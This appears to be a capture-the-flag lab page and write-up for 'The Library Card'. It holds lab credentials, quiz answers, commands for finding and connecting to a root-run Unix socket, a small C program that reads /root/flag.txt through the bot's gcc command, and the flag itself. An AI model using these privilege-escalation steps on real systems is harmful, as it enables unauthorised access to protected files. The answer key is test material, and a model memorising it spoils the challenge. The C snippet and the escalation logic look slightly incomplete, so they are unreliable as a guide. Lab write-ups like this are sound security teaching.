Mission Name
The Library Card

Historical Context
In their quest for knowledge and assistance, Ethan and Claire encounter the Librarian, a gatekeeper of information. To gain his cooperation, they are tasked with obtaining a special card. The Librarian has provided them access to a computer system where this card is hidden.

Technical Synopsis
To secure the Librarian's aid, Ethan is to navigate through the provided computer system, employing techniques to escalate his privileges. The objective is to locate and retrieve the Library Card concealed within the system's files.

Mission Brief
The Librarian has set a condition for his assistance: the acquisition of a crucial card. This card lies hidden within the system he has allowed access to. Your mission involves navigating this system, overcoming security measures to escalate your privileges, and ultimately securing the card for the Librarian. Embark on this task with diligence and acuity. Best of luck in your endeavor!

Detailed Assignment
Ethan and Claire's journey has led them to a pivotal moment where the assistance of the Librarian is within reach, contingent upon the procurement of a specific card. This card, essential for progressing in their quest, is somewhere within the confines of a computer system provided by the Librarian himself.

Tools

- User: librarian
- Password: L1br4r14n

Questions

What is the name of running vulnerable script?

- librarian.py

What is the name of the socket created?

- Librarian_ID.s

What is the name of the vulnerability?

- Socket command injection

Items

1. Search for unix socket
2. Connect with socat to the suspicious program.
3. Use gcc within librarian program.

Categories

- Linux Enumeration
- Socket Command Injection
- Escalate privileges

Write Up

To navigate through the challenge and interact with the Librarian program running on a socket, follow these steps. This scenario involves using the bot to execute Linux commands and ultimately read the flag from a restricted directory. Here's a structured approach:

Step 1: Identifying the Socket

Upon accessing the system with the provided SSH credentials (username: librarian, password: L1br4r14n), the first task is to locate the socket created by the Librarian program. This can be achieved by searching in the `/tmp` directory or prompting for Unix connections through available bot commands.

Example commands to discover the socket:

```
# To find the socket file
file /tmp/Librarian_ID.s

# To discover the socket server using netstat
netstat -a -p --unix
```

These commands help identify the socket file `/tmp/Librarian_ID.s` and its listening state.

Step 2: Connecting to the Socket

Utilize `socat` to establish a connection with the socket and initiate interaction with the Librarian program:

```
socat - UNIX-CLIENT:/tmp/Librarian_ID.s
```

Upon connection, you'll be greeted by the Librarian ID Card supplier bot, which can execute a limited set of commands.

Step 3: Understanding Allowed Commands
Through interaction, it's noted that the bot allows specific commands such as "id", "ls", "pwd", "gcc", and "netstat". These commands can be used to:
- Confirm the program is executing as root (`id`).
- Search for the socket and other relevant files (`ls`, `netstat`).
- Compile a file (`gcc`).

Step 4: Exploiting to Read the Flag
To exploit this setup and read the flag, follow these steps:

1. Create a C program (`/tmp/privs.c`) designed to read the flag. This program will use the `system()` function to execute the `cat /root/flag.txt` command:

```c
#include <unistd.h>

int main()
{
    system("cat /root/flag.txt");
    return 0;
}
```

2. Compile this C program using the bot's `gcc` command:

```
gcc /tmp/privs.c -o /tmp/privs
```

3. Execute the compiled binary to display the flag:

```
/tmp/privs
```

Step 5: Retrieving the Flag
Upon executing the compiled binary, the flag should be displayed, completing the challenge:

This approach demonstrates a practical application of socket communication, command execution, and privilege escalation techniques within a controlled environment for educational or ethical hacking purposes.

Flag Information

flag{l1Br4rY_c4Rd_ID_0492}